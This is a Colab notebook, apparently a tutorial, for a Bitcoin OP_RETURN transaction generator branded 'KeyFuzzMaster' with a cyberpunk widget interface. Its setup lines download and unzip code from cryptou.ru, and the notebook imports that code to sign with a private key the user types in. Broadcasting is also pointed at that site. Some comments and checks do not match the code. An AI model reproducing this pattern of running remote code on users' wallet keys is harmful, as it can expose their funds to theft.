KeyFuzzMaster Cryptanalytic Fuzzing Engine - Google Colab Version

Copy and paste the following code directly into a Google Colab cell:

# ===================================================
# Bitcoin Message Transaction (Google Colab Version)
# KeyFuzzMaster-Cryptanalytic-Fuzzing-Engine
# Cyberpunk Terminal Interface
# ===================================================

# Install dependencies (run once if needed)
# !pip install ipywidgets zmq urllib3 requests pycryptodome

# Clone source code repository if not yet downloaded
# !wget https://cryptou.ru/code/KeyFuzzMaster-Cryptanalytic-Fuzzing-Engine.zip
# !unzip KeyFuzzMaster-Cryptanalytic-Fuzzing-Engine.zip

import ipywidgets as widgets
from IPython.display import display, clear_output, HTML, Markdown
from secp256k1 import *
from sighash import *
import json

# ========== CYBERPUNK STYLING ==========

CYBERPUNK_CSS = """
<style>
@import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700;900&family=Share+Tech+Mono&display=swap');

/* Neon Colors */
:root {
    --neon-cyan: #00ffff;
    --neon-magenta: #ff00ff;
    --neon-lime: #00ff00;
    --neon-purple: #b300ff;
    --neon-red: #ff0040;
    --neon-blue: #0088ff;
    --neon-yellow: #ffff00;
    --bg-dark: #0a0e27;
    --bg-darker: #050813;
    --text-primary: #00ffff;
    --text-secondary: #00cc88;
}

body, .widget-inline-vbox, .widget-inline-hbox {
    background-color: var(--bg-darker) !important;
    color: var(--text-primary) !important;
    font-family: 'Share Tech Mono', monospace !important;
}

.widget-label {
    color: var(--neon-cyan) !important;
    font-weight: bold !important;
    text-shadow: 0 0 10px var(--neon-cyan) !important;
    font-family: 'Orbitron', monospace !important;
}

.jupyter-widgets {
    --text-color: var(--text-primary) !important;
}

/* Text Input Fields */
.widget-text input, .widget-textarea textarea {
    background-color: #0f1538 !important;
    color: var(--neon-cyan) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 4px !important;
    box-shadow: 0 0 15px rgba(0, 255, 255, 0.3) !important;
    font-family: 'Share Tech Mono', monospace !important;
    font-size: 13px !important;
    padding: 8px 10px !important;
    text-shadow: 0 0 5px var(--neon-cyan) !important;
}

.widget-text input:focus, .widget-textarea textarea:focus {
    outline: none !important;
    border-color: var(--neon-magenta) !important;
    box-shadow: 0 0 25px rgba(255, 0, 255, 0.5) !important;
}

.widget-text input::placeholder, .widget-textarea textarea::placeholder {
    color: rgba(0, 255, 255, 0.4) !important;
}

/* Sliders */
.widget-hslider .slider {
    background: linear-gradient(to right, var(--neon-purple), var(--neon-cyan), var(--neon-lime)) !important;
    box-shadow: 0 0 10px var(--neon-purple) !important;
}

.widget-hslider {
    background-color: #0f1538 !important;
    border: 1px solid var(--neon-cyan) !important;
}

/* Checkboxes */
.widget-checkbox .widget-label {
    color: var(--text-secondary) !important;
}

input[type="checkbox"] {
    accent-color: var(--neon-lime) !important;
}

/* Buttons */
.widget-button {
    background: linear-gradient(135deg, var(--neon-cyan), var(--neon-magenta)) !important;
    color: var(--bg-darker) !important;
    border: 2px solid var(--neon-cyan) !important;
    border-radius: 6px !important;
    font-weight: bold !important;
    font-family: 'Orbitron', monospace !important;
    text-transform: uppercase !important;
    letter-spacing: 2px !important;
    box-shadow: 0 0 20px rgba(0, 255, 255, 0.5), inset 0 0 20px rgba(255, 0, 255, 0.2) !important;
    transition: all 0.3s ease !important;
    cursor: pointer !important;
    font-size: 12px !important;
}

.widget-button:hover {
    background: linear-gradient(135deg, var(--neon-magenta), var(--neon-lime)) !important;
    box-shadow: 0 0 30px rgba(255, 0, 255, 0.8), inset 0 0 30px rgba(0, 255, 255, 0.3) !important;
    transform: scale(1.05) !important;
}

.widget-button:active {
    box-shadow: 0 0 40px var(--neon-magenta) !important;
}

/* Integer Text */
.widget-inttext input {
    background-color: #0f1538 !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-lime) !important;
    box-shadow: 0 0 10px rgba(0, 255, 0, 0.3) !important;
}

.widget-inttext input:focus {
    border-color: var(--neon-yellow) !important;
    box-shadow: 0 0 20px rgba(255, 255, 0, 0.5) !important;
}

/* Container */
.widget-vbox, .widget-hbox {
    background-color: transparent !important;
}

.output {
    background-color: var(--bg-darker) !important;
}

/* Byte Counter */
.byte-warning {
    color: var(--neon-yellow) !important;
    font-weight: bold !important;
    text-shadow: 0 0 8px var(--neon-yellow) !important;
}

/* Title Header */
.terminal-header {
    color: var(--neon-cyan) !important;
    text-shadow: 0 0 15px var(--neon-cyan) !important;
    font-family: 'Orbitron', monospace !important;
    font-weight: bold !important;
    font-size: 18px !important;
    margin: 20px 0 15px 0 !important;
    border-bottom: 2px solid var(--neon-cyan) !important;
    padding-bottom: 10px !important;
    letter-spacing: 3px !important;
}

/* Terminal Output */
.terminal-output {
    background-color: #050813 !important;
    color: var(--neon-lime) !important;
    border: 2px solid var(--neon-magenta) !important;
    border-radius: 4px !important;
    padding: 15px !important;
    font-family: 'Share Tech Mono', monospace !important;
    font-size: 12px !important;
    line-height: 1.6 !important;
    box-shadow: 0 0 20px rgba(255, 0, 255, 0.4), inset 0 0 10px rgba(0, 255, 0, 0.1) !important;
    margin-top: 20px !important;
    white-space: pre-wrap !important;
    word-wrap: break-word !important;
}

.terminal-success {
    color: var(--neon-lime) !important;
    font-weight: bold !important;
}

.terminal-info {
    color: var(--neon-cyan) !important;
}

.terminal-warning {
    color: var(--neon-yellow) !important;
}

.terminal-error {
    color: var(--neon-red) !important;
}

.transaction-divider {
    color: var(--neon-magenta) !important;
    margin: 10px 0 !important;
    letter-spacing: 2px !important;
}

.address-value {
    color: var(--neon-yellow) !important;
    background-color: rgba(255, 255, 0, 0.1) !important;
    padding: 2px 6px !important;
    border-radius: 2px !important;
    font-weight: bold !important;
}

.hex-value {
    color: var(--neon-blue) !important;
    background-color: rgba(0, 136, 255, 0.1) !important;
    padding: 2px 6px !important;
    border-radius: 2px !important;
    word-break: break-all !important;
}

</style>
"""

# ========== UTILITY FUNCTIONS ==========

def create_op_return_script(message):
    message_hex = message.encode('utf-8').hex()
    message_bytes = bytes.fromhex(message_hex)
    op_return_opcode = b'\x6a'
    data_length = len(message_bytes)

    if data_length <= 75:
        length_byte = bytes([data_length])
    elif data_length <= 255:
        length_byte = b'\x4c' + bytes([data_length])
    else:
        raise ValueError("Message is too long. Maximum allowed is 80 bytes for OP_RETURN.")

    return op_return_opcode + length_byte + message_bytes

def create_transaction_with_op_return(private_key_wif, utxo_txid, utxo_index,
                                      utxo_value, recipient_address,
                                      send_amount, message, fee=1000,
                                      testnet=True):
    pk = PrivateKey.parse(private_key_wif)
    tx_in = TxIn(bytes.fromhex(utxo_txid), utxo_index, b'', 0xffffffff)
    tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
    tx_in._value = utxo_value
    tx_ins = [tx_in]

    # Calculate change (returned to sender)
    change_amount = utxo_value - send_amount - fee

    if change_amount < 0:
        raise ValueError("Insufficient funds to cover the amount and transaction fee.")

    # Transaction outputs
    tx_outs = []
    tx_outs.append(TxOut(0, create_op_return_script(message)))
    tx_outs.append(TxOut(send_amount, Tx.get_address_data(recipient_address)['script_pubkey'].serialize()))

    if change_amount > 546:  # dust limit
        tx_outs.append(TxOut(change_amount, Tx.get_address_data(pk.address())['script_pubkey'].serialize()))

    tx = Tx(1, tx_ins, tx_outs, 0, testnet=testnet)
    signature(tx, 0, pk)

    # Return both transaction and change amount
    return tx, change_amount

# ========== UI INITIALIZATION ==========

# Display Cyberpunk CSS
display(HTML(CYBERPUNK_CSS))

# Neon Header
display(HTML('''
<div style="text-align: center; margin: 30px 0;">
    <div style="color: #00ffff; font-size: 28px; font-weight: bold; font-family: 'Orbitron', monospace; 
                text-shadow: 0 0 20px #00ffff, 0 0 40px #ff00ff; letter-spacing: 4px;">
        ⚡ KEYFUZZMASTER ⚡
    </div>
    <div style="color: #ff00ff; font-size: 14px; font-family: 'Share Tech Mono', monospace; 
                text-shadow: 0 0 10px #ff00ff; letter-spacing: 2px; margin-top: 5px;">
        BITCOIN TRANSACTION GENERATOR
    </div>
    <div style="color: #00ff00; font-size: 11px; font-family: 'Share Tech Mono', monospace; 
                text-shadow: 0 0 8px #00ff00; margin-top: 10px; opacity: 0.7;">
        Scientific Methodology • Cyberpunk Interface • DeepWeb Ready
    </div>
</div>
'''))

# Form Fields with Cyberpunk Styling
display(HTML('<div class="terminal-header">⟨ TRANSACTION CONFIGURATION ⟩</div>'))

private_key_wif = widgets.Text(
    placeholder='Enter your private key (WIF)',
    description='Private Key (WIF):',
    layout=widgets.Layout(width='100%')
)

utxo_txid = widgets.Text(
    placeholder='Enter UTXO TXID',
    description='UTXO TXID:',
    layout=widgets.Layout(width='100%')
)

utxo_index = widgets.BoundedIntText(
    value=0,
    min=0,
    max=100,
    description='UTXO Index:',
    layout=widgets.Layout(width='100%')
)

utxo_value = widgets.IntText(
    value=0,
    description='UTXO Value (sat):',
    layout=widgets.Layout(width='100%')
)

fee = widgets.IntSlider(
    value=1000,
    min=500,
    max=10000,
    step=100,
    description='Transaction Fee:',
    layout=widgets.Layout(width='100%')
)

send_amount = widgets.IntText(
    value=0,
    description='Send Amount (sat):',
    layout=widgets.Layout(width='100%')
)

recipient_address = widgets.Text(
    placeholder='Enter recipient BTC address',
    description='Recipient Address:',
    layout=widgets.Layout(width='100%')
)

display(HTML('<div class="terminal-header">⟨ MESSAGE & OPTIONS ⟩</div>'))

message = widgets.Textarea(
    placeholder='Enter your OP_RETURN message (up to 80 bytes)',
    description='OP_RETURN Message:',
    layout=widgets.Layout(width='100%', height='100px')
)

byte_warning = widgets.HTML(value='<span class="byte-warning">0 / 80 bytes</span>')

use_testnet = widgets.Checkbox(
    value=True,
    description='Use Testnet',
    indent=False
)

def update_message_length(change):
    current_bytes = len(change['new'].encode('utf-8'))
    if current_bytes > 80:
        byte_warning.value = f'<span class="terminal-warning">⚠ MESSAGE TOO LONG: {current_bytes} / 80 bytes</span>'
    else:
        status_color = '#00ff00' if current_bytes > 0 else '#ffff00'
        byte_warning.value = f'<span style="color: {status_color}; text-shadow: 0 0 8px {status_color};">✓ {current_bytes} / 80 bytes</span>'

message.observe(update_message_length, 'value')

# Form Container
form_items = [
    private_key_wif,
    utxo_txid,
    utxo_index,
    utxo_value,
    fee,
    send_amount,
    recipient_address,
    message,
    byte_warning,
    use_testnet
]

form = widgets.VBox(form_items, layout=widgets.Layout(border='2px solid #00ffff', padding='15px', border_radius='4px'))
display(form)

# Submit Button
submit_button = widgets.Button(
    description='⚡ GENERATE TRANSACTION ⚡',
    button_style='success',
    layout=widgets.Layout(width='100%', height='40px', margin='20px 0 0 0')
)
display(submit_button)

# ========== TRANSACTION PROCESSING ==========

def on_submit_clicked(b):
    clear_output(wait=True)
    display(HTML(CYBERPUNK_CSS))

    # Re-display header and form
    display(HTML('''
    <div style="text-align: center; margin: 30px 0;">
        <div style="color: #00ffff; font-size: 28px; font-weight: bold; font-family: 'Orbitron', monospace; 
                    text-shadow: 0 0 20px #00ffff, 0 0 40px #ff00ff; letter-spacing: 4px;">
            ⚡ KEYFUZZMASTER ⚡
        </div>
        <div style="color: #ff00ff; font-size: 14px; font-family: 'Share Tech Mono', monospace; 
                    text-shadow: 0 0 10px #ff00ff; letter-spacing: 2px; margin-top: 5px;">
            BITCOIN TRANSACTION GENERATOR
        </div>
    </div>
    '''))

    display(form)
    display(submit_button)

    try:
        # Validate inputs
        if not private_key_wif.value or not utxo_txid.value or not recipient_address.value or not message.value:
            raise ValueError("All fields are required!")

        if len(message.value.encode('utf-8')) > 80:
            raise ValueError("Message exceeds 80 bytes!")

        # Generate transaction
        tx, change_amount = create_transaction_with_op_return(
            private_key_wif=private_key_wif.value,
            utxo_txid=utxo_txid.value,
            utxo_index=utxo_index.value,
            utxo_value=int(utxo_value.value),
            recipient_address=recipient_address.value,
            send_amount=int(send_amount.value),
            message=message.value,
            fee=int(fee.value),
            testnet=use_testnet.value
        )

        raw_tx_hex = tx.serialize().hex()
        pk = PrivateKey.parse(private_key_wif.value)

        # Build formatted output
        output_text = "═" * 80 + "\n"
        output_text += "        ⟪ BITCOIN TRANSACTION (OP_RETURN) ⟫\n"
        output_text += "═" * 80 + "\n\n"

        output_text += "┌─ TRANSACTION DETAILS ─────────────────────────────────────────────────┐\n"
        output_text += f"│ Your BTC Address ......... {pk.address()}\n"
        output_text += f"│ Recipient Address ....... {recipient_address.value}\n"
        output_text += f"│\n"
        output_text += f"│ Send Amount ............. {send_amount.value} satoshi\n"
        output_text += f"│ Transaction Fee ......... {fee.value} satoshi\n"
        output_text += f"│ Change Returned ......... {change_amount} satoshi\n"
        output_text += "└────────────────────────────────────────────────────────────────────────┘\n\n"

        output_text += "┌─ OP_RETURN MESSAGE ────────────────────────────────────────────────────┐\n"
        output_text += f"│ TEXT: {message.value}\n"
        output_text += f"│ HEX:  {message.value.encode('utf-8').hex()}\n"
        output_text += f"│ SIZE: {len(message.value.encode('utf-8'))} bytes\n"
        output_text += "└────────────────────────────────────────────────────────────────────────┘\n\n"

        output_text += "┌─ RAW TRANSACTION (HEX) ────────────────────────────────────────────────┐\n"
        # Split hex into lines of 64 chars for readability
        for i in range(0, len(raw_tx_hex), 64):
            output_text += f"{raw_tx_hex[i:i+64]}"
        output_text += "\n└────────────────────────────────────────────────────────────────────────┘\n\n"

        # Save to file
        with open("RawTX_OP_RETURN.txt", 'w') as f:
            f.write(raw_tx_hex)
            f.write(f"\nMessage: {message.value}\n")
            f.write(f"Hex: {message.value.encode('utf-8').hex()}\n")
            f.write(f"Change Returned: {change_amount} satoshi\n")

        output_text += "✓ Saved to file: RawTX_OP_RETURN.txt\n\n"
        output_text += "┌─ BROADCAST OPTIONS ────────────────────────────────────────────────────┐\n"
        output_text += "│ You can broadcast the transaction using:\n"
        # Кликабельная ссылка:
        output_text += "│ ➜ <a href='https://cryptou.ru/keyfuzzmaster/transaction' target='_blank' style='color:#00ffff;text-decoration:none;'>https://cryptou.ru/keyfuzzmaster/transaction</a>\n"
        output_text += "└────────────────────────────────────────────────────────────────────────┘\n"
        output_text += "═" * 80

        # Display in terminal style, конвертируем \n в <br> для корректного HTML-рендера
        html_output = output_text.replace("\n", "<br>")
        display(HTML(f'<div class="terminal-output">{html_output}</div>'))

        display(HTML('''
        <div style="text-align: center; margin-top: 30px;">
            <span style="color: #00ff00; font-size: 14px; text-shadow: 0 0 10px #00ff00; font-weight: bold;">
                ✓ TRANSACTION GENERATED SUCCESSFULLY
            </span>
        </div>
        '''))

    except Exception as e:
        error_text = f"✗ ERROR: {str(e)}"
        display(HTML(f'<div class="terminal-output" style="color: #ff0040; border-color: #ff0040;">{error_text}</div>'))

submit_button.on_click(on_submit_clicked)